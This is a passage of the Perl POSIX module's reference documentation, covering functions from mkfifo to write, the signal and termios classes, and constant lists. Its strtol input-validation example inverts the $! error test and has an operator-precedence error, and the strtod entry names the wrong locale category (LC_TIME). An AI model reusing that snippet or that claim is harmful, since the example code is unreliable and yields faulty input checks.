=item C<memset>
C<memset()> is C-specific, use C<x> instead, see L<perlop>.
=item C<mkdir>
This is identical to Perl's builtin C<mkdir()> function
for creating directories, see L<perlfunc/mkdir>.
=item C<mkfifo>
This is similar to the C function C<mkfifo()> for creating
FIFO special files.
if (mkfifo($path, $mode)) { ....
Returns C<undef> on failure. The C<$mode> is similar to the
mode of C<mkdir()>, see L<perlfunc/mkdir>, though for C<mkfifo>
you B<must> specify the C<$mode>.
=item C<mktime>
Convert date/time info to a calendar time.
Synopsis:
mktime(sec, min, hour, mday, mon, year, wday = 0,
yday = 0, isdst = -1)
The month (C<mon>), weekday (C<wday>), and yearday (C<yday>) begin at zero.
I.e. January is 0, not 1; Sunday is 0, not 1; January 1st is 0, not 1. The
year (C<year>) is given in years since 1900. I.e. The year 1995 is 95; the
year 2001 is 101. Consult your system's C<mktime()> manpage for details
about these and the other arguments.
Calendar time for December 12, 1995, at 10:30 am.
$time_t = POSIX::mktime( 0, 30, 10, 12, 11, 95 );
print "Date = ", POSIX::ctime($time_t);
Returns C<undef> on failure.
=item C<modf>
Return the integral and fractional parts of a floating-point number.
($fractional, $integral) = POSIX::modf( 3.14 );
=item C<nice>
This is similar to the C function C<nice()>, for changing
the scheduling preference of the current process. Positive
arguments mean more polite process, negative values more
needy process. Normal user processes can only be more polite.
Returns C<undef> on failure.
=item C<offsetof>
C<offsetof()> is C-specific, you probably want to see L<perlfunc/pack> instead.
=item C<open>
Open a file for reading for writing. This returns file descriptors, not
Perl filehandles. Use C<POSIX::close> to close the file.
Open a file read-only with mode 0666.
$fd = POSIX::open( "foo" );
Open a file for read and write.
$fd = POSIX::open( "foo", &POSIX::O_RDWR );
Open a file for write, with truncation.
$fd = POSIX::open(
"foo", &POSIX::O_WRONLY | &POSIX::O_TRUNC
);
Create a new file with mode 0640. Set up the file for writing.
$fd = POSIX::open(
"foo", &POSIX::O_CREAT | &POSIX::O_WRONLY, 0640
);
Returns C<undef> on failure.
See also L<perlfunc/sysopen>.
=item C<opendir>
Open a directory for reading.
$dir = POSIX::opendir( "/var" );
@files = POSIX::readdir( $dir );
POSIX::closedir( $dir );
Returns C<undef> on failure.
=item C<pathconf>
Retrieves the value of a configurable limit on a file or directory.
The following will determine the maximum length of the longest allowable
pathname on the filesystem which holds C</var>.
$path_max = POSIX::pathconf( "/var",
&POSIX::_PC_PATH_MAX );
Returns C<undef> on failure.
=item C<pause>
This is similar to the C function C<pause()>, which suspends
the execution of the current process until a signal is received.
Returns C<undef> on failure.
=item C<perror>
This is identical to the C function C<perror()>, which outputs to the
standard error stream the specified message followed by C<": "> and the
current error string. Use the C<warn()> function and the C<$!>
variable instead, see L<perlfunc/warn> and L<perlvar/$ERRNO>.
=item C<pipe>
Create an interprocess channel. This returns file descriptors like those
returned by C<POSIX::open>.
my ($read, $write) = POSIX::pipe();
POSIX::write( $write, "hello", 5 );
POSIX::read( $read, $buf, 5 );
See also L<perlfunc/pipe>.
=item C<pow>
Computes C<$x> raised to the power C<$exponent>.
$ret = POSIX::pow( $x, $exponent );
You can also use the C<**> operator, see L<perlop>.
=item C<printf>
Formats and prints the specified arguments to STDOUT.
See also L<perlfunc/printf>.
=item C<putc>
C<putc()> is C-specific, see L<perlfunc/print> instead.
=item C<putchar>
C<putchar()> is C-specific, see L<perlfunc/print> instead.
=item C<puts>
C<puts()> is C-specific, see L<perlfunc/print> instead.
=item C<qsort>
C<qsort()> is C-specific, see L<perlfunc/sort> instead.
=item C<raise>
Sends the specified signal to the current process.
See also L<perlfunc/kill> and the C<$$> in L<perlvar/$PID>.
=item C<rand>
C<rand()> is non-portable, see L<perlfunc/rand> instead.
=item C<read>
Read from a file. This uses file descriptors such as those obtained by
calling C<POSIX::open>. If the buffer C<$buf> is not large enough for the
read then Perl will extend it to make room for the request.
$fd = POSIX::open( "foo", &POSIX::O_RDONLY );
$bytes = POSIX::read( $fd, $buf, 3 );
Returns C<undef> on failure.
See also L<perlfunc/sysread>.
=item C<readdir>
This is identical to Perl's builtin C<readdir()> function
for reading directory entries, see L<perlfunc/readdir>.
=item C<realloc>
C<realloc()> is C-specific. Perl does memory management transparently.
=item C<remove>
This is identical to Perl's builtin C<unlink()> function
for removing files, see L<perlfunc/unlink>.
=item C<rename>
This is identical to Perl's builtin C<rename()> function
for renaming files, see L<perlfunc/rename>.
=item C<rewind>
Seeks to the beginning of the file.
=item C<rewinddir>
This is identical to Perl's builtin C<rewinddir()> function for
rewinding directory entry streams, see L<perlfunc/rewinddir>.
=item C<rmdir>
This is identical to Perl's builtin C<rmdir()> function
for removing (empty) directories, see L<perlfunc/rmdir>.
=item C<scanf>
C<scanf()> is C-specific, use E<lt>E<gt> and regular expressions instead,
see L<perlre>.
=item C<setgid>
Sets the real group identifier and the effective group identifier for
this process. Similar to assigning a value to the Perl's builtin
C<$)> variable, see L<perlvar/$EGID>, except that the latter
will change only the real user identifier, and that the setgid()
uses only a single numeric argument, as opposed to a space-separated
list of numbers.
=item C<setjmp>
C<setjmp()> is C-specific: use C<eval {}> instead,
see L<perlfunc/eval>.
=item C<setlocale>
Modifies and queries the program's underlying locale. Users of this
function should read L<perllocale>, whch provides a comprehensive
discussion of Perl locale handling, knowledge of which is necessary to
properly use this function. It contains
L<a section devoted to this function|perllocale/The setlocale function>.
The discussion here is merely a summary reference for C<setlocale()>.
Note that Perl itself is almost entirely unaffected by the locale
except within the scope of S<C<"use locale">>. (Exceptions are listed
in L<perllocale/Not within the scope of any "use locale" variant>.)
The following examples assume
use POSIX qw(setlocale LC_ALL LC_CTYPE);
has been issued.
The following will set the traditional UNIX system locale behavior
(the second argument C<"C">).
$loc = setlocale( LC_ALL, "C" );
The following will query the current C<LC_CTYPE> category. (No second
argument means 'query'.)
$loc = setlocale( LC_CTYPE );
The following will set the C<LC_CTYPE> behaviour according to the locale
environment variables (the second argument C<"">).
Please see your system's C<setlocale(3)> documentation for the locale
environment variables' meaning or consult L<perllocale>.
$loc = setlocale( LC_CTYPE, "" );
The following will set the C<LC_COLLATE> behaviour to Argentinian
Spanish. B<NOTE>: The naming and availability of locales depends on
your operating system. Please consult L<perllocale> for how to find
out which locales are available in your system.
$loc = setlocale( LC_COLLATE, "es_AR.ISO8859-1" );
=item C<setpgid>
This is similar to the C function C<setpgid()> for
setting the process group identifier of the current process.
Returns C<undef> on failure.
=item C<setsid>
This is identical to the C function C<setsid()> for
setting the session identifier of the current process.
=item C<setuid>
Sets the real user identifier and the effective user identifier for
this process. Similar to assigning a value to the Perl's builtin
C<$E<lt>> variable, see L<perlvar/$UID>, except that the latter
will change only the real user identifier.
=item C<sigaction>
Detailed signal management. This uses C<POSIX::SigAction> objects for
the C<action> and C<oldaction> arguments (the oldaction can also be
just a hash reference). Consult your system's C<sigaction> manpage
for details, see also C<POSIX::SigRt>.
Synopsis:
sigaction(signal, action, oldaction = 0)
Returns C<undef> on failure. The C<signal> must be a number (like
C<SIGHUP>), not a string (like C<"SIGHUP">), though Perl does try hard
to understand you.
If you use the C<SA_SIGINFO> flag, the signal handler will in addition to
the first argument, the signal name, also receive a second argument, a
hash reference, inside which are the following keys with the following
semantics, as defined by POSIX/SUSv3:
signo the signal number
errno the error number
code if this is zero or less, the signal was sent by
a user process and the uid and pid make sense,
otherwise the signal was sent by the kernel
The following are also defined by POSIX/SUSv3, but unfortunately
not very widely implemented:
pid the process id generating the signal
uid the uid of the process id generating the signal
status exit value or signal for SIGCHLD
band band event for SIGPOLL
A third argument is also passed to the handler, which contains a copy
of the raw binary contents of the C<siginfo> structure: if a system has
some non-POSIX fields, this third argument is where to C<unpack()> them
from.
Note that not all C<siginfo> values make sense simultaneously (some are
valid only for certain signals, for example), and not all values make
sense from Perl perspective, you should to consult your system's
C<sigaction> and possibly also C<siginfo> documentation.
=item C<siglongjmp>
C<siglongjmp()> is C-specific: use L<perlfunc/die> instead.
=item C<sigpending>
Examine signals that are blocked and pending. This uses C<POSIX::SigSet>
objects for the C<sigset> argument. Consult your system's C<sigpending>
manpage for details.
Synopsis:
sigpending(sigset)
Returns C<undef> on failure.
=item C<sigprocmask>
Change and/or examine calling process's signal mask. This uses
C<POSIX::SigSet> objects for the C<sigset> and C<oldsigset> arguments.
Consult your system's C<sigprocmask> manpage for details.
Synopsis:
sigprocmask(how, sigset, oldsigset = 0)
Returns C<undef> on failure.
Note that you can't reliably block or unblock a signal from its own signal
handler if you're using safe signals. Other signals can be blocked or unblocked
reliably.
=item C<sigsetjmp>
C<sigsetjmp()> is C-specific: use C<eval {}> instead,
see L<perlfunc/eval>.
=item C<sigsuspend>
Install a signal mask and suspend process until signal arrives. This uses
C<POSIX::SigSet> objects for the C<signal_mask> argument. Consult your
system's C<sigsuspend> manpage for details.
Synopsis:
sigsuspend(signal_mask)
Returns C<undef> on failure.
=item C<sin>
This is identical to Perl's builtin C<sin()> function
for returning the sine of the numerical argument,
see L<perlfunc/sin>. See also L<Math::Trig>.
=item C<sinh>
This is identical to the C function C<sinh()>
for returning the hyperbolic sine of the numerical argument.
See also L<Math::Trig>.
=item C<sleep>
This is functionally identical to Perl's builtin C<sleep()> function
for suspending the execution of the current for process for certain
number of seconds, see L<perlfunc/sleep>. There is one significant
difference, however: C<POSIX::sleep()> returns the number of
B<unslept> seconds, while the C<CORE::sleep()> returns the
number of slept seconds.
=item C<sprintf>
This is similar to Perl's builtin C<sprintf()> function
for returning a string that has the arguments formatted as requested,
see L<perlfunc/sprintf>.
=item C<sqrt>
This is identical to Perl's builtin C<sqrt()> function.
for returning the square root of the numerical argument,
see L<perlfunc/sqrt>.
=item C<srand>
Give a seed the pseudorandom number generator, see L<perlfunc/srand>.
=item C<sscanf>
C<sscanf()> is C-specific, use regular expressions instead,
see L<perlre>.
=item C<stat>
This is identical to Perl's builtin C<stat()> function
for returning information about files and directories.
=item C<strcat>
C<strcat()> is C-specific, use C<.=> instead, see L<perlop>.
=item C<strchr>
C<strchr()> is C-specific, see L<perlfunc/index> instead.
=item C<strcmp>
C<strcmp()> is C-specific, use C<eq> or C<cmp> instead, see L<perlop>.
=item C<strcoll>
This is identical to the C function C<strcoll()>
for collating (comparing) strings transformed using
the C<strxfrm()> function. Not really needed since
Perl can do this transparently, see L<perllocale>.
=item C<strcpy>
C<strcpy()> is C-specific, use C<=> instead, see L<perlop>.
=item C<strcspn>
C<strcspn()> is C-specific, use regular expressions instead,
see L<perlre>.
=item C<strerror>
Returns the error string for the specified errno.
Identical to the string form of the C<$!>, see L<perlvar/$ERRNO>.
=item C<strftime>
Convert date and time information to string. Returns the string.
Synopsis:
strftime(fmt, sec, min, hour, mday, mon, year,
wday = -1, yday = -1, isdst = -1)
The month (C<mon>), weekday (C<wday>), and yearday (C<yday>) begin at zero.
I.e. January is 0, not 1; Sunday is 0, not 1; January 1st is 0, not 1. The
year (C<year>) is given in years since 1900. I.e., the year 1995 is 95; the
year 2001 is 101. Consult your system's C<strftime()> manpage for details
about these and the other arguments.
If you want your code to be portable, your format (C<fmt>) argument
should use only the conversion specifiers defined by the ANSI C
standard (C89, to play safe). These are C<aAbBcdHIjmMpSUwWxXyYZ%>.
But even then, the B<results> of some of the conversion specifiers are
non-portable. For example, the specifiers C<aAbBcpZ> change according
to the locale settings of the user, and both how to set locales (the
locale names) and what output to expect are non-standard.
The specifier C<c> changes according to the timezone settings of the
user and the timezone computation rules of the operating system.
The C<Z> specifier is notoriously unportable since the names of
timezones are non-standard. Sticking to the numeric specifiers is the
safest route.
The given arguments are made consistent as though by calling
C<mktime()> before calling your system's C<strftime()> function,
except that the C<isdst> value is not affected.
The string for Tuesday, December 12, 1995.
$str = POSIX::strftime( "%A, %B %d, %Y",
0, 0, 0, 12, 11, 95, 2 );
print "$str\n";
=item C<strlen>
C<strlen()> is C-specific, use C<length()> instead, see L<perlfunc/length>.
=item C<strncat>
C<strncat()> is C-specific, use C<.=> instead, see L<perlop>.
=item C<strncmp>
C<strncmp()> is C-specific, use C<eq> instead, see L<perlop>.
=item C<strncpy>
C<strncpy()> is C-specific, use C<=> instead, see L<perlop>.
=item C<strpbrk>
C<strpbrk()> is C-specific, use regular expressions instead,
see L<perlre>.
=item C<strrchr>
C<strrchr()> is C-specific, see L<perlfunc/rindex> instead.
=item C<strspn>
C<strspn()> is C-specific, use regular expressions instead,
see L<perlre>.
=item C<strstr>
This is identical to Perl's builtin C<index()> function,
see L<perlfunc/index>.
=item C<strtod>
String to double translation. Returns the parsed number and the number
of characters in the unparsed portion of the string. Truly
POSIX-compliant systems set C<$!> (C<$ERRNO>) to indicate a translation
error, so clear C<$!> before calling strtod. However, non-POSIX systems
may not check for overflow, and therefore will never set C<$!>.
strtod respects any POSIX I<setlocale()> C<LC_TIME> settings,
regardless of whether or not it is called from Perl code that is within
the scope of S<C<use locale>>.
To parse a string C<$str> as a floating point number use
$! = 0;
($num, $n_unparsed) = POSIX::strtod($str);
The second returned item and C<$!> can be used to check for valid input:
if (($str eq '') || ($n_unparsed != 0) || $!) {
die "Non-numeric input $str" . ($! ? ": $!\n" : "\n");
}
When called in a scalar context strtod returns the parsed number.
=item C<strtok>
C<strtok()> is C-specific, use regular expressions instead, see
L<perlre>, or L<perlfunc/split>.
=item C<strtol>
String to (long) integer translation. Returns the parsed number and
the number of characters in the unparsed portion of the string. Truly
POSIX-compliant systems set C<$!> (C<$ERRNO>) to indicate a translation
error, so clear C<$!> before calling C<strtol>. However, non-POSIX systems
may not check for overflow, and therefore will never set C<$!>.
C<strtol> should respect any POSIX I<setlocale()> settings.
To parse a string C<$str> as a number in some base C<$base> use
$! = 0;
($num, $n_unparsed) = POSIX::strtol($str, $base);
The base should be zero or between 2 and 36, inclusive. When the base
is zero or omitted strtol will use the string itself to determine the
base: a leading "0x" or "0X" means hexadecimal; a leading "0" means
octal; any other leading characters mean decimal. Thus, "1234" is
parsed as a decimal number, "01234" as an octal number, and "0x1234"
as a hexadecimal number.
The second returned item and C<$!> can be used to check for valid input:
if (($str eq '') || ($n_unparsed != 0) || !$!) {
die "Non-numeric input $str" . $! ? ": $!\n" : "\n";
}
When called in a scalar context strtol returns the parsed number.
=item C<strtoul>
String to unsigned (long) integer translation. C<strtoul()> is identical
to C<strtol()> except that C<strtoul()> only parses unsigned integers. See
L</strtol> for details.
Note: Some vendors supply C<strtod()> and C<strtol()> but not C<strtoul()>.
Other vendors that do supply C<strtoul()> parse "-1" as a valid value.
=item C<strxfrm>
String transformation. Returns the transformed string.
$dst = POSIX::strxfrm( $src );
Used in conjunction with the C<strcoll()> function, see L</strcoll>.
Not really needed since Perl can do this transparently, see
L<perllocale>.
=item C<sysconf>
Retrieves values of system configurable variables.
The following will get the machine's clock speed.
$clock_ticks = POSIX::sysconf( &POSIX::_SC_CLK_TCK );
Returns C<undef> on failure.
=item C<system>
This is identical to Perl's builtin C<system()> function, see
L<perlfunc/system>.
=item C<tan>
This is identical to the C function C<tan()>, returning the
tangent of the numerical argument. See also L<Math::Trig>.
=item C<tanh>
This is identical to the C function C<tanh()>, returning the
hyperbolic tangent of the numerical argument. See also L<Math::Trig>.
=item C<tcdrain>
This is similar to the C function C<tcdrain()> for draining
the output queue of its argument stream.
Returns C<undef> on failure.
=item C<tcflow>
This is similar to the C function C<tcflow()> for controlling
the flow of its argument stream.
Returns C<undef> on failure.
=item C<tcflush>
This is similar to the C function C<tcflush()> for flushing
the I/O buffers of its argument stream.
Returns C<undef> on failure.
=item C<tcgetpgrp>
This is identical to the C function C<tcgetpgrp()> for returning the
process group identifier of the foreground process group of the controlling
terminal.
=item C<tcsendbreak>
This is similar to the C function C<tcsendbreak()> for sending
a break on its argument stream.
Returns C<undef> on failure.
=item C<tcsetpgrp>
This is similar to the C function C<tcsetpgrp()> for setting the
process group identifier of the foreground process group of the controlling
terminal.
Returns C<undef> on failure.
=item C<time>
This is identical to Perl's builtin C<time()> function
for returning the number of seconds since the epoch
(whatever it is for the system), see L<perlfunc/time>.
=item C<times>
The C<times()> function returns elapsed realtime since some point in the past
(such as system startup), user and system times for this process, and user
and system times used by child processes. All times are returned in clock
ticks.
($realtime, $user, $system, $cuser, $csystem)
= POSIX::times();
Note: Perl's builtin C<times()> function returns four values, measured in
seconds.
=item C<tmpfile>
Use method C<IO::File::new_tmpfile()> instead, or see L<File::Temp>.
=item C<tmpnam>
Returns a name for a temporary file.
$tmpfile = POSIX::tmpnam();
For security reasons, which are probably detailed in your system's
documentation for the C library C<tmpnam()> function, this interface
should not be used; instead see L<File::Temp>.
=item C<tolower>
This is identical to the C function, except that it can apply to a single
character or to a whole string. Consider using the C<lc()> function,
see L<perlfunc/lc>, or the equivalent C<\L> operator inside doublequotish
strings.
=item C<toupper>
This is identical to the C function, except that it can apply to a single
character or to a whole string. Consider using the C<uc()> function,
see L<perlfunc/uc>, or the equivalent C<\U> operator inside doublequotish
strings.
=item C<ttyname>
This is identical to the C function C<ttyname()> for returning the
name of the current terminal.
=item C<tzname>
Retrieves the time conversion information from the C<tzname> variable.
POSIX::tzset();
($std, $dst) = POSIX::tzname();
=item C<tzset>
This is identical to the C function C<tzset()> for setting
the current timezone based on the environment variable C<TZ>,
to be used by C<ctime()>, C<localtime()>, C<mktime()>, and C<strftime()>
functions.
=item C<umask>
This is identical to Perl's builtin C<umask()> function
for setting (and querying) the file creation permission mask,
see L<perlfunc/umask>.
=item C<uname>
Get name of current operating system.
($sysname, $nodename, $release, $version, $machine)
= POSIX::uname();
Note that the actual meanings of the various fields are not
that well standardized, do not expect any great portability.
The C<$sysname> might be the name of the operating system,
the C<$nodename> might be the name of the host, the C<$release>
might be the (major) release number of the operating system,
the C<$version> might be the (minor) release number of the
operating system, and the C<$machine> might be a hardware identifier.
Maybe.
=item C<ungetc>
Use method C<IO::Handle::ungetc()> instead.
=item C<unlink>
This is identical to Perl's builtin C<unlink()> function
for removing files, see L<perlfunc/unlink>.
=item C<utime>
This is identical to Perl's builtin C<utime()> function
for changing the time stamps of files and directories,
see L<perlfunc/utime>.
=item C<vfprintf>
C<vfprintf()> is C-specific, see L<perlfunc/printf> instead.
=item C<vprintf>
C<vprintf()> is C-specific, see L<perlfunc/printf> instead.
=item C<vsprintf>
C<vsprintf()> is C-specific, see L<perlfunc/sprintf> instead.
=item C<wait>
This is identical to Perl's builtin C<wait()> function,
see L<perlfunc/wait>.
=item C<waitpid>
Wait for a child process to change state. This is identical to Perl's
builtin C<waitpid()> function, see L<perlfunc/waitpid>.
$pid = POSIX::waitpid( -1, POSIX::WNOHANG );
print "status = ", ($? / 256), "\n";
=item C<wcstombs>
This is identical to the C function C<wcstombs()>.
Perl does not have any support for the wide and multibyte
characters of the C standards, so this might be a rather
useless function.
=item C<wctomb>
This is identical to the C function C<wctomb()>.
Perl does not have any support for the wide and multibyte
characters of the C standards, so this might be a rather
useless function.
=item C<write>
Write to a file. This uses file descriptors such as those obtained by
calling C<POSIX::open>.
$fd = POSIX::open( "foo", &POSIX::O_WRONLY );
$buf = "hello";
$bytes = POSIX::write( $fd, $buf, 5 );
Returns C<undef> on failure.
See also L<perlfunc/syswrite>.
=back
=head1 CLASSES
=head2 C<POSIX::SigAction>
=over 8
=item C<new>
Creates a new C<POSIX::SigAction> object which corresponds to the C
C<struct sigaction>. This object will be destroyed automatically when
it is no longer needed. The first parameter is the handler, a sub
reference. The second parameter is a C<POSIX::SigSet> object, it
defaults to the empty set. The third parameter contains the
C<sa_flags>, it defaults to 0.
$sigset = POSIX::SigSet->new(SIGINT, SIGQUIT);
$sigaction = POSIX::SigAction->new(
\&handler, $sigset, &POSIX::SA_NOCLDSTOP
);
This C<POSIX::SigAction> object is intended for use with the C<POSIX::sigaction()>
function.
=back
=over 8
=item C<handler>
=item C<mask>
=item C<flags>
accessor functions to get/set the values of a SigAction object.
$sigset = $sigaction->mask;
$sigaction->flags(&POSIX::SA_RESTART);
=item C<safe>
accessor function for the "safe signals" flag of a SigAction object; see
L<perlipc> for general information on safe (a.k.a. "deferred") signals. If
you wish to handle a signal safely, use this accessor to set the "safe" flag
in the C<POSIX::SigAction> object:
$sigaction->safe(1);
You may also examine the "safe" flag on the output action object which is
filled in when given as the third parameter to C<POSIX::sigaction()>:
sigaction(SIGINT, $new_action, $old_action);
if ($old_action->safe) {
# previous SIGINT handler used safe signals
}
=back
=head2 C<POSIX::SigRt>
=over 8
=item C<%SIGRT>
A hash of the POSIX realtime signal handlers. It is an extension of
the standard C<%SIG>, the C<$POSIX::SIGRT{SIGRTMIN}> is roughly equivalent
to C<$SIG{SIGRTMIN}>, but the right POSIX moves (see below) are made with
the C<POSIX::SigSet> and C<POSIX::sigaction> instead of accessing the C<%SIG>.
You can set the C<%POSIX::SIGRT> elements to set the POSIX realtime
signal handlers, use C<delete> and C<exists> on the elements, and use
C<scalar> on the C<%POSIX::SIGRT> to find out how many POSIX realtime
signals there are available S<C<(SIGRTMAX - SIGRTMIN + 1>>, the C<SIGRTMAX> is
a valid POSIX realtime signal).
Setting the C<%SIGRT> elements is equivalent to calling this:
sub new {
my ($rtsig, $handler, $flags) = @_;
my $sigset = POSIX::SigSet($rtsig);
my $sigact = POSIX::SigAction->new($handler,$sigset,$flags);
sigaction($rtsig, $sigact);
}
The flags default to zero, if you want something different you can
either use C<local> on C<$POSIX::SigRt::SIGACTION_FLAGS>, or you can
derive from POSIX::SigRt and define your own C<new()> (the tied hash
STORE method of the C<%SIGRT> calls C<new($rtsig, $handler, $SIGACTION_FLAGS)>,
where the C<$rtsig> ranges from zero to S<C<SIGRTMAX - SIGRTMIN + 1)>>.
Just as with any signal, you can use C<sigaction($rtsig, undef, $oa)> to
retrieve the installed signal handler (or, rather, the signal action).
B<NOTE:> whether POSIX realtime signals really work in your system, or
whether Perl has been compiled so that it works with them, is outside
of this discussion.
=item C<SIGRTMIN>
Return the minimum POSIX realtime signal number available, or C<undef>
if no POSIX realtime signals are available.
=item C<SIGRTMAX>
Return the maximum POSIX realtime signal number available, or C<undef>
if no POSIX realtime signals are available.
=back
=head2 C<POSIX::SigSet>
=over 8
=item C<new>
Create a new SigSet object. This object will be destroyed automatically
when it is no longer needed. Arguments may be supplied to initialize the
set.
Create an empty set.
$sigset = POSIX::SigSet->new;
Create a set with C<SIGUSR1>.
$sigset = POSIX::SigSet->new( &POSIX::SIGUSR1 );
=item C<addset>
Add a signal to a SigSet object.
$sigset->addset( &POSIX::SIGUSR2 );
Returns C<undef> on failure.
=item C<delset>
Remove a signal from the SigSet object.
$sigset->delset( &POSIX::SIGUSR2 );
Returns C<undef> on failure.
=item C<emptyset>
Initialize the SigSet object to be empty.
$sigset->emptyset();
Returns C<undef> on failure.
=item C<fillset>
Initialize the SigSet object to include all signals.
$sigset->fillset();
Returns C<undef> on failure.
=item C<ismember>
Tests the SigSet object to see if it contains a specific signal.
if( $sigset->ismember( &POSIX::SIGUSR1 ) ){
print "contains SIGUSR1\n";
}
=back
=head2 C<POSIX::Termios>
=over 8
=item C<new>
Create a new Termios object. This object will be destroyed automatically
when it is no longer needed. A Termios object corresponds to the termios
C struct. C<new()> mallocs a new one, C<getattr()> fills it from a file descriptor,
and C<setattr()> sets a file descriptor's parameters to match Termios' contents.
$termios = POSIX::Termios->new;
=item C<getattr>
Get terminal control attributes.
Obtain the attributes for stdin.
$termios->getattr( 0 ) # Recommended for clarity.
$termios->getattr()
Obtain the attributes for stdout.
$termios->getattr( 1 )
Returns C<undef> on failure.
=item C<getcc>
Retrieve a value from the c_cc field of a termios object. The c_cc field is
an array so an index must be specified.
$c_cc[1] = $termios->getcc(1);
=item C<getcflag>
Retrieve the c_cflag field of a termios object.
$c_cflag = $termios->getcflag;
=item C<getiflag>
Retrieve the c_iflag field of a termios object.
$c_iflag = $termios->getiflag;
=item C<getispeed>
Retrieve the input baud rate.
$ispeed = $termios->getispeed;
=item C<getlflag>
Retrieve the c_lflag field of a termios object.
$c_lflag = $termios->getlflag;
=item C<getoflag>
Retrieve the c_oflag field of a termios object.
$c_oflag = $termios->getoflag;
=item C<getospeed>
Retrieve the output baud rate.
$ospeed = $termios->getospeed;
=item C<setattr>
Set terminal control attributes.
Set attributes immediately for stdout.
$termios->setattr( 1, &POSIX::TCSANOW );
Returns C<undef> on failure.
=item C<setcc>
Set a value in the c_cc field of a termios object. The c_cc field is an
array so an index must be specified.
$termios->setcc( &POSIX::VEOF, 1 );
=item C<setcflag>
Set the c_cflag field of a termios object.
$termios->setcflag( $c_cflag | &POSIX::CLOCAL );
=item C<setiflag>
Set the c_iflag field of a termios object.
$termios->setiflag( $c_iflag | &POSIX::BRKINT );
=item C<setispeed>
Set the input baud rate.
$termios->setispeed( &POSIX::B9600 );
Returns C<undef> on failure.
=item C<setlflag>
Set the c_lflag field of a termios object.
$termios->setlflag( $c_lflag | &POSIX::ECHO );
=item C<setoflag>
Set the c_oflag field of a termios object.
$termios->setoflag( $c_oflag | &POSIX::OPOST );
=item C<setospeed>
Set the output baud rate.
$termios->setospeed( &POSIX::B9600 );
Returns C<undef> on failure.
=item Baud rate values
C<B38400> C<B75> C<B200> C<B134> C<B300> C<B1800> C<B150> C<B0> C<B19200> C<B1200> C<B9600> C<B600> C<B4800> C<B50> C<B2400> C<B110>
=item Terminal interface values
C<TCSADRAIN> C<TCSANOW> C<TCOON> C<TCIOFLUSH> C<TCOFLUSH> C<TCION> C<TCIFLUSH> C<TCSAFLUSH> C<TCIOFF> C<TCOOFF>
=item C<c_cc> field values
C<VEOF> C<VEOL> C<VERASE> C<VINTR> C<VKILL> C<VQUIT> C<VSUSP> C<VSTART> C<VSTOP> C<VMIN> C<VTIME> C<NCCS>
=item C<c_cflag> field values
C<CLOCAL> C<CREAD> C<CSIZE> C<CS5> C<CS6> C<CS7> C<CS8> C<CSTOPB> C<HUPCL> C<PARENB> C<PARODD>
=item C<c_iflag> field values
C<BRKINT> C<ICRNL> C<IGNBRK> C<IGNCR> C<IGNPAR> C<INLCR> C<INPCK> C<ISTRIP> C<IXOFF> C<IXON> C<PARMRK>
=item C<c_lflag> field values
C<ECHO> C<ECHOE> C<ECHOK> C<ECHONL> C<ICANON> C<IEXTEN> C<ISIG> C<NOFLSH> C<TOSTOP>
=item C<c_oflag> field values
C<OPOST>
=back
=head1 PATHNAME CONSTANTS
=over 8
=item Constants
C<_PC_CHOWN_RESTRICTED> C<_PC_LINK_MAX> C<_PC_MAX_CANON> C<_PC_MAX_INPUT> C<_PC_NAME_MAX>
C<_PC_NO_TRUNC> C<_PC_PATH_MAX> C<_PC_PIPE_BUF> C<_PC_VDISABLE>
=back
=head1 POSIX CONSTANTS
=over 8
=item Constants
C<_POSIX_ARG_MAX> C<_POSIX_CHILD_MAX> C<_POSIX_CHOWN_RESTRICTED> C<_POSIX_JOB_CONTROL>
C<_POSIX_LINK_MAX> C<_POSIX_MAX_CANON> C<_POSIX_MAX_INPUT> C<_POSIX_NAME_MAX>
C<_POSIX_NGROUPS_MAX> C<_POSIX_NO_TRUNC> C<_POSIX_OPEN_MAX> C<_POSIX_PATH_MAX>
C<_POSIX_PIPE_BUF> C<_POSIX_SAVED_IDS> C<_POSIX_SSIZE_MAX> C<_POSIX_STREAM_MAX>
C<_POSIX_TZNAME_MAX> C<_POSIX_VDISABLE> C<_POSIX_VERSION>
=back
=head1 SYSTEM CONFIGURATION
=over 8
=item Constants
C<_SC_ARG_MAX> C<_SC_CHILD_MAX> C<_SC_CLK_TCK> C<_SC_JOB_CONTROL> C<_SC_NGROUPS_MAX>
C<_SC_OPEN_MAX> C<_SC_PAGESIZE> C<_SC_SAVED_IDS> C<_SC_STREAM_MAX> C<_SC_TZNAME_MAX>
C<_SC_VERSION>
=back
=head1 ERRNO
=over 8
=item Constants
C<E2BIG> C<EACCES> C<EADDRINUSE> C<EADDRNOTAVAIL> C<EAFNOSUPPORT> C<EAGAIN> C<EALREADY> C<EBADF> C<EBADMSG>
C<EBUSY> C<ECANCELED> C<ECHILD> C<ECONNABORTED> C<ECONNREFUSED> C<ECONNRESET> C<EDEADLK> C<EDESTADDRREQ>
C<EDOM> C<EDQUOT> C<EEXIST> C<EFAULT> C<EFBIG> C<EHOSTDOWN> C<EHOSTUNREACH> C<EIDRM> C<EILSEQ> C<EINPROGRESS>
C<EINTR> C<EINVAL> C<EIO> C<EISCONN> C<EISDIR> C<ELOOP> C<EMFILE> C<EMLINK> C<EMSGSIZE> C<ENAMETOOLONG>
C<ENETDOWN> C<ENETRESET> C<ENETUNREACH> C<ENFILE> C<ENOBUFS> C<ENODATA> C<ENODEV> C<ENOENT> C<ENOEXEC>
C<ENOLCK> C<ENOLINK> C<ENOMEM> C<ENOMSG> C<ENOPROTOOPT> C<ENOSPC> C<ENOSR> C<ENOSTR> C<ENOSYS> C<ENOTBLK>
C<ENOTCONN> C<ENOTDIR> C<ENOTEMPTY> C<ENOTRECOVERABLE> C<ENOTSOCK> C<ENOTSUP> C<ENOTTY> C<ENXIO>
C<EOPNOTSUPP> C<EOTHER> C<EOVERFLOW> C<EOWNERDEAD> C<EPERM> C<EPFNOSUPPORT> C<EPIPE> C<EPROCLIM> C<EPROTO>
C<EPROTONOSUPPORT> C<EPROTOTYPE> C<ERANGE> C<EREMOTE> C<ERESTART> C<EROFS> C<ESHUTDOWN>
C<ESOCKTNOSUPPORT> C<ESPIPE> C<ESRCH> C<ESTALE> C<ETIME> C<ETIMEDOUT> C<ETOOMANYREFS> C<ETXTBSY> C<EUSERS>
C<EWOULDBLOCK> C<EXDEV>
=back
=head1 FCNTL
=over 8
=item Constants
C<FD_CLOEXEC> C<F_DUPFD> C<F_GETFD> C<F_GETFL> C<F_GETLK> C<F_OK> C<F_RDLCK> C<F_SETFD> C<F_SETFL> C<F_SETLK>
